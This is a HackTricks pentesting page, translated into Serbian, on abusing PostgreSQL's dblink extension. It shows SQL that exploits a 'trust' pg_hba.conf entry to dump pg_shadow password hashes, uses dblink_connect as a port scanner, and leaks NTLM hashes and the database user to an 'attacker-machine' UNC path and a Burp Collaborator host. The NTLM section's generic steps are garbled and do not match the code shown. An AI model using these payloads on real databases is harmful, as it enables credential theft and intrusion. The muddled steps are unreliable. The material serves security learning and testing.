Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pronađite više informacija o ovim napadima u originalnom radu.

Od PostgreSQL 9.1, instalacija dodatnih modula je jednostavna. Registrovani ekstenzije poput dblink mogu se instalirati sa CREATE EXTENSION:

CREATE EXTENSION dblink;

Jednom kada imate učitan dblink, možete izvesti neke zanimljive trikove:

Eskalacija privilegija

Datoteka pg_hba.conf može biti loše konfigurisana, omogućavajući konekcije sa localhostom kao bilo koji korisnik, bez potrebe za poznavanjem lozinke. Ova datoteka se obično nalazi u /etc/postgresql/12/main/pg_hba.conf, a loša konfiguracija izgleda ovako:

local    all    all    trust

Napomena da se ova konfiguracija često koristi za izmenu lozinke korisnika baze podataka kada je administrator zaboravi, pa je ponekad možete pronaći. Napomena takođe da je datoteka pg_hba.conf čitljiva samo od strane korisnika i grupe postgres, i da je moguće samo od strane korisnika postgres.

Ovaj slučaj je koristan ako već imate shell unutar žrtve, jer će vam omogućiti da se povežete sa postgresql bazom podataka.

Još jedna moguća konfiguracija koja može biti pogrešna je sledeća:

host    all     all     127.0.0.1/32    trust

Kako će omogućiti svima sa lokalnog računara da se povežu sa bazom podataka kao bilo koji korisnik. U ovom slučaju, ako je funkcija dblink aktivna, možete povećati privilegije tako što ćete se povezati sa bazom podataka putem već uspostavljene veze i pristupiti podacima do kojih ne biste trebali imati pristup:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Skeniranje portova

Zloupotrebom dblink_connect funkcije možete takođe pretraživati otvorene portove. Ako ta funkcija ne radi, trebali biste pokušati koristiti dblink_connect_u() jer dokumentacija kaže da je dblink_connect_u() identična dblink_connect() funkciji, osim što će dozvoliti ne-superkorisnicima da se povežu koristeći bilo koji metod autentifikacije.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Imajte na umu da pre nego što budete u mogućnosti da koristite dblink_connect ili dblink_connect_u, možda ćete morati da izvršite:

CREATE extension dblink;

Otkrivanje UNC putanje - NTLM heš otkrivanje

Kada se koristi NTLM autentifikacija, moguće je otkriti NTLM heš lozinke korisnika putem UNC (Universal Naming Convention) putanje. UNC putanja je način za identifikaciju i pristup deljenim resursima na mreži.

Da biste otkrili NTLM heš lozinke, možete koristiti sledeći postupak:

  1. Skenirajte mrežu kako biste pronašli otvorene portove na ciljnom sistemu.

  2. Identifikujte otvorene portove koji podržavaju NTLM autentifikaciju.

  3. Koristite alat poput enum4linux ili smbclient za pristupanje ciljnom sistemu putem UNC putanje.

  4. Kada pristupite ciljnom sistemu, možete dobiti NTLM heš lozinke korisnika iz odgovora servera.

Ova tehnika može biti korisna za otkrivanje NTLM heš lozinke korisnika i dalje iskorišćavanje ranjivosti sistema. Međutim, važno je napomenuti da je ova tehnika ilegalna i može dovesti do pravnih posledica.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated